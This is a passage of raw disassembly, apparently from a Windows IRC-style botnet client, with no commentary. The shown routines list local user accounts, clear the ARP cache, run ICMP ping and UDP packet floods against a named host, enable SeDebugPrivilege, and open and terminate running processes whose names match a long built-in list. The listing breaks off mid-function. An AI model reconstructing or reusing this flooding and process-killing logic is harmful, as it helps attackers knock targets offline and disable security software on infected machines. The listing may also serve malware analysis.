		cmp	[ebp+var_4], edi
		jb	short loc_4084DD
		mov	esi, [ebp+var_8]
		add	esi, 14h


loc_408487:				; CODE XREF: sub_4083DF+FAj
		push	dword ptr [esi+10h]
		call	dword_43A49C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40849E
		mov	eax, offset aNo	; "No"


loc_40849E:				; CODE XREF: sub_4083DF+B8j
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_214]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_416905
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+var_4]
		jbe	short loc_408487
		xor	esi, esi


loc_4084DD:				; CODE XREF: sub_4083DF+A0j
		push	[ebp+var_8]
		call	dword_43A3D8


loc_4084E6:				; CODE XREF: sub_4083DF+98j
		cmp	ebx, 0EAh
		jz	loc_408418
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4083DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084FE	proc near		; CODE XREF: sub_409806:loc_40B87Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4085A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_408540
		dec	eax
		jz	short loc_408535
		dec	eax
		jnz	short loc_40855B
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_407CEF
		add	esp, 14h
		jmp	short loc_408557
; ---------------------------------------------------------------------------


loc_408535:				; CODE XREF: sub_4084FE+1Dj
		push	ebx
		push	edi
		call	sub_407CCE
		pop	ecx
		pop	ecx
		jmp	short loc_408557
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4084FE+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_408554
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_407C74
		add	esp, 0Ch
		jmp	short loc_408557
; ---------------------------------------------------------------------------


loc_408554:				; CODE XREF: sub_4084FE+45j
		push	57h
		pop	eax


loc_408557:				; CODE XREF: sub_4084FE+35j
					; sub_4084FE+40j ...
		cmp	eax, edi
		jnz	short loc_40857B


loc_40855B:				; CODE XREF: sub_4084FE+20j
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42ED0C[eax*4]
		mov	esi, offset dword_43AE30
		push	offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
		push	esi
		call	sub_416905
		add	esp, 10h
		jmp	short loc_4085C1
; ---------------------------------------------------------------------------


loc_40857B:				; CODE XREF: sub_4084FE+5Bj
		call	sub_4080BD
		push	eax
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42ED08[eax*4]
		mov	esi, offset dword_43AE30
		push	offset aNetSErrorWithU ; "[NET]: %s: Error with	username: '%s'. %"...
		push	esi
		call	sub_416905
		add	esp, 14h
		jmp	short loc_4085C1
; ---------------------------------------------------------------------------


loc_4085A1:				; CODE XREF: sub_4084FE+Dj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42ED08[eax*4]
		mov	esi, offset dword_43AE30
		push	offset aNetSNoUsername ; "[NET]: %s: No	username specified."
		push	esi
		call	sub_416905
		add	esp, 0Ch


loc_4085C1:				; CODE XREF: sub_4084FE+7Bj
					; sub_4084FE+A1j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4084FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085C8	proc near		; CODE XREF: sub_409806+20A1p

var_21C		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_407B24
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_18], eax
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+arg_4]
		mov	[ebp+var_8], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_C], esi
		call	sub_405D20
		add	esp, 18h
		push	ebx


loc_408607:				; CODE XREF: sub_4085C8+129j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	esi
		push	[ebp+var_18]
		call	dword_43A37C
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jz	short loc_408666
		cmp	eax, 0EAh
		jz	short loc_408666
		push	eax
		call	sub_4080BD
		push	eax
		lea	eax, [ebp+var_21C]
		push	offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
		push	eax
		call	sub_416905
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 24h
		jmp	short loc_4086D7
; ---------------------------------------------------------------------------


loc_408666:				; CODE XREF: sub_4085C8+62j
					; sub_4085C8+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4086EA
		xor	ebx, ebx
		cmp	[ebp+var_8], esi
		jbe	short loc_4086D7


loc_408674:				; CODE XREF: sub_4085C8+E7j
		cmp	edi, esi
		lea	eax, [ebp+var_21C]
		jz	short loc_4086B3
		push	dword ptr [edi]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_416905
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_C]
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_408674
		jmp	short loc_4086D7
; ---------------------------------------------------------------------------


loc_4086B3:				; CODE XREF: sub_4085C8+B4j
		push	offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
		push	eax
		call	sub_416905
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 1Ch


loc_4086D7:				; CODE XREF: sub_4085C8+9Cj
					; sub_4085C8+AAj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4086EA
		push	edi
		call	dword_43A3D8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4086EA:				; CODE XREF: sub_4085C8+A3j
					; sub_4085C8+114j
		cmp	[ebp+var_10], 0EAh
		jz	loc_408607
		cmp	edi, esi
		pop	ebx
		jz	short loc_408703
		push	edi
		call	dword_43A3D8


loc_408703:				; CODE XREF: sub_4085C8+132j
		push	[ebp+var_C]
		lea	eax, [ebp+var_21C]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_416905
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_10], esi
		pop	edi
		setz	al
		pop	esi
		leave
		retn
sub_4085C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40873C	proc near		; CODE XREF: sub_402B05+7p
					; sub_403FEB+7Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A414	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_408764
		push	[esp+arg_0]
		call	dword_43A400	; gethostbyname
		test	eax, eax
		jnz	short loc_40875D
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40875D:				; CODE XREF: sub_40873C+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_408764:				; CODE XREF: sub_40873C+Dj
		retn
sub_40873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_408765	proc near		; CODE XREF: sub_4096A7+138p
		mov	ecx, dword_43A488
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_408773
		jmp	ecx
; ---------------------------------------------------------------------------

locret_408773:				; CODE XREF: sub_408765+Aj
		retn
sub_408765	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_408774	proc near		; CODE XREF: sub_409806:loc_40E401p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 88h
		push	ebx
		push	esi
		xor	eax, eax
		push	edi
		inc	eax
		push	eax
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+var_8]
		xor	ebx, ebx
		push	eax
		push	ebx
		xor	esi, esi
		mov	[ebp+78h+var_8], ebx
		call	dword_43A3A8	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_408804
		sub	ecx, 32h
		jz	loc_40884B
		sub	ecx, 48h
		jz	short loc_4087CF
		sub	ecx, 6Eh
		jz	short loc_4087C8


loc_4087B4:				; CODE XREF: sub_408774+8Ej
		push	eax
		lea	eax, [ebp+78h+var_88]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40882C
; ---------------------------------------------------------------------------


loc_4087C8:				; CODE XREF: sub_408774+3Ej
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_408821
; ---------------------------------------------------------------------------


loc_4087CF:				; CODE XREF: sub_408774+39j
		push	[ebp+78h+var_8]
		call	sub_416DAF
		pop	ecx
		mov	ecx, [ebp+78h+var_8]
		mov	edx, ecx
		mov	esi, eax
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, ebx
		rep stosb
		jz	short loc_40881C
		push	1
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	esi
		call	dword_43A3A8	; GetIpNetTable
		cmp	eax, ebx
		jnz	short loc_4087B4


loc_408804:				; CODE XREF: sub_408774+2Bj
		cmp	[esi], ebx
		jbe	short loc_408839
		lea	edi, [esi+4]


loc_40880B:				; CODE XREF: sub_408774+A4j
		push	edi
		call	dword_43A40C	; DeleteIpNetEntry
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_40880B
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40881C:				; CODE XREF: sub_408774+7Dj
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_408821:				; CODE XREF: sub_408774+59j
					; sub_408774+DCj
		lea	eax, [ebp+78h+var_88]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40882C:				; CODE XREF: sub_408774+52j
		lea	eax, [ebp+78h+var_88]
		push	eax
		mov	[ebp+78h+var_4], ebx
		call	sub_401ECD
		pop	ecx


loc_408839:				; CODE XREF: sub_408774+92j
					; sub_408774+A6j
		push	esi
		call	sub_416C97
		mov	eax, [ebp+78h+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_408774+30j
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_408821
sub_408774	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408852	proc near		; CODE XREF: sub_401141+313p
					; sub_40598C+18Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	dword_43A308	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	esi, offset dword_43B030
		push	esi
		call	sub_416905
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408852	endp


; =============== S U B	R O U T	I N E =======================================



sub_4088A8	proc near		; CODE XREF: sub_402816+249p
					; sub_402816+274p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_4088D3
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4088C6:				; CODE XREF: sub_4088A8+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_4088C6
		pop	edi
		jmp	short loc_4088D7
; ---------------------------------------------------------------------------


loc_4088D3:				; CODE XREF: sub_4088A8+Aj
		mov	esi, [esp+4+arg_0]


loc_4088D7:				; CODE XREF: sub_4088A8+29j
		test	ecx, ecx
		jz	short loc_4088E0
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_4088E0:				; CODE XREF: sub_4088A8+31j
		mov	ecx, edx
		shr	ecx, 10h
		and	edx, 0FFFFh
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn
sub_4088A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088F8	proc near		; DATA XREF: sub_409806+5AC2o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_144]
		rep movsd
		inc	ebx
		mov	[eax+120h], ebx
		call	dword_43A3F0	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A414	; inet_addr
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_408951
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A400	; gethostbyname
		test	eax, eax
		jz	short loc_408957


loc_408951:				; CODE XREF: sub_4088F8+46j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_4089B5


loc_408957:				; CODE XREF: sub_4088F8+57j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_28], 0
		jnz	short loc_408999
		push	0
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_405D20
		add	esp, 14h


loc_408999:				; CODE XREF: sub_4088F8+7Ej
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401ECD
		push	[ebp+var_30]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_408A7A
; ---------------------------------------------------------------------------


loc_4089B5:				; CODE XREF: sub_4088F8+5Dj
		test	eax, eax
		jz	short loc_4089C5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_4089C8
; ---------------------------------------------------------------------------


loc_4089C5:				; CODE XREF: sub_4088F8+BFj
		mov	[ebp+var_4], esi


loc_4089C8:				; CODE XREF: sub_4088F8+CBj
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		cmp	[ebp+var_3C], eax
		jle	short loc_4089E3
		mov	[ebp+var_3C], eax


loc_4089E3:				; CODE XREF: sub_4088F8+E6j
		cmp	[ebp+var_38], ebx
		jge	short loc_4089EB
		mov	[ebp+var_38], ebx


loc_4089EB:				; CODE XREF: sub_4088F8+EEj
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+var_40], edi
		jle	short loc_408A1A


loc_4089F4:				; CODE XREF: sub_4088F8+120j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	edi
		push	[ebp+var_3C]
		lea	eax, [ebp+var_10320]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43A48C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_4089F4


loc_408A1A:				; CODE XREF: sub_4088F8+FAj
		push	[ebp+arg_0]
		call	dword_43A424	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_28], edi
		jnz	short loc_408A63
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_405D20
		add	esp, 14h


loc_408A63:				; CODE XREF: sub_4088F8+149j
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401ECD
		push	[ebp+var_30]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	edi


loc_408A7A:				; CODE XREF: sub_4088F8+B8j
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4088F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A81	proc near		; DATA XREF: sub_409806+5C12o

var_10316	= byte ptr -10316h
var_10314	= byte ptr -10314h
var_338		= byte ptr -338h
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10314h
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_138]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43A39C	; socket
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_B4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_43A414	; inet_addr
		xor	edi, edi
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_408B5C
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_43A400	; gethostbyname
		mov	ecx, eax
		cmp	ecx, edi
		jnz	short loc_408B5C
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpErrorSendin ; "[UDP]: Error sending pings to	%s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_408B40
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_405D20
		add	esp, 14h


loc_408B40:				; CODE XREF: sub_408A81+9Dj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401ECD
		push	[ebp+var_24]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_408C95
; ---------------------------------------------------------------------------


loc_408B5C:				; CODE XREF: sub_408A81+6Aj
					; sub_408A81+7Dj
		cmp	[ebp+var_28], edi
		jge	short loc_408B64
		mov	[ebp+var_28], edi


loc_408B64:				; CODE XREF: sub_408A81+DEj
		mov	eax, 0FFFFh
		cmp	[ebp+var_28], eax
		jle	short loc_408B71
		mov	[ebp+var_28], eax


loc_408B71:				; CODE XREF: sub_408A81+EBj
		cmp	ecx, edi
		jz	short loc_408B7C
		mov	eax, [ecx+0Ch]
		mov	eax, [eax]
		jmp	short loc_408B7F
; ---------------------------------------------------------------------------


loc_408B7C:				; CODE XREF: sub_408A81+F2j
		lea	eax, [ebp+arg_0]


loc_408B7F:				; CODE XREF: sub_408A81+F9j
		cmp	[ebp+var_28], edi
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		jnz	short loc_408B9A
		call	sub_41699A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408B9D
; ---------------------------------------------------------------------------


loc_408B9A:				; CODE XREF: sub_408A81+106j
		push	[ebp+var_28]


loc_408B9D:				; CODE XREF: sub_408A81+117j
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_34]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_2C], edi
		mov	[ebp+var_34], eax
		jnz	short loc_408BBB
		mov	[ebp+var_2C], esi


loc_408BBB:				; CODE XREF: sub_408A81+135j
		xor	esi, esi
		cmp	[ebp+var_30], edi
		jle	short loc_408C36


loc_408BC2:				; CODE XREF: sub_408A81+159j
		call	sub_41699A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_30]
		mov	[ebp+esi-10315h], dl
		jl	short loc_408BC2
		jmp	short loc_408C36
; ---------------------------------------------------------------------------


loc_408BDE:				; CODE XREF: sub_408A81+1B8j
		dec	[ebp+var_34]
		push	0Bh
		pop	esi


loc_408BE4:				; CODE XREF: sub_408A81+195j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	sub_41699A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_30]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10314]
		push	eax
		push	[ebp+var_4]
		call	dword_43A36C	; sendto
		push	[ebp+var_2C]
		call	dword_422000	; Sleep
		dec	esi
		jnz	short loc_408BE4
		cmp	[ebp+var_28], edi
		jnz	short loc_408C36
		call	sub_41699A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_12], ax


loc_408C36:				; CODE XREF: sub_408A81+13Fj
					; sub_408A81+15Bj ...
		cmp	[ebp+var_34], edi
		jg	short loc_408BDE
		dec	[ebp+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_408C7E
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_405D20
		add	esp, 14h


loc_408C7E:				; CODE XREF: sub_408A81+1DBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401ECD
		push	[ebp+var_24]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	edi


loc_408C95:				; CODE XREF: sub_408A81+D6j
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_408A81	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C9C	proc near		; CODE XREF: sub_403DEF+45p
					; sub_403DEF+165p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4220E0	; GetCurrentProcess
		push	eax
		call	dword_43A4DC	; OpenProcessToken
		test	eax, eax
		jnz	short loc_408CBB
		leave
		retn
; ---------------------------------------------------------------------------


loc_408CBB:				; CODE XREF: sub_408C9C+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_43A4C0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_408CF9
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_408CE2
		or	[ebp+var_8], 2
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CE2:				; CODE XREF: sub_408C9C+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_408CE6:				; CODE XREF: sub_408C9C+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43A408	; AdjustTokenPrivileges
		mov	esi, eax


loc_408CF9:				; CODE XREF: sub_408C9C+32j
		push	[ebp+var_4]
		call	dword_42202C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408C9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D07	proc near		; CODE XREF: sub_40901A+68p
					; sub_40911C+Cp ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_43A38C, ebx
		pop	ecx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_408F18
		cmp	dword_43A3EC, ebx
		jz	loc_408F18
		cmp	dword_43A344, ebx
		jz	loc_408F18
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408C9C
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43A38C	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_408F0B
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		mov	[ebp+var_12C], 128h
		call	dword_43A3EC	; Process32First
		test	eax, eax
		mov	esi, dword_42202C
		jz	loc_408F06
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_43A344	; Process32Next
		test	eax, eax
		jz	loc_408F06
		mov	ebx, dword_422078


loc_408DC6:				; CODE XREF: sub_408D07+1F7j
		cmp	[ebp+arg_10], 0
		jz	short loc_408E27
		xor	edi, edi


loc_408DCE:				; CODE XREF: sub_408D07+E7j
		push	off_42ED68[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_4220EC	; lstrcmpiA
		test	eax, eax
		jz	short loc_408DF5
		add	edi, 4
		cmp	edi, 9E0h
		jb	short loc_408DCE
		jmp	loc_408EEC
; ---------------------------------------------------------------------------


loc_408DF5:				; CODE XREF: sub_408D07+DCj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_408EEC
		push	0
		push	edi
		call	dword_4220E8	; TerminateProcess
		test	eax, eax
		jnz	loc_408EEC


loc_408E1F:				; CODE XREF: sub_408D07+1AFj
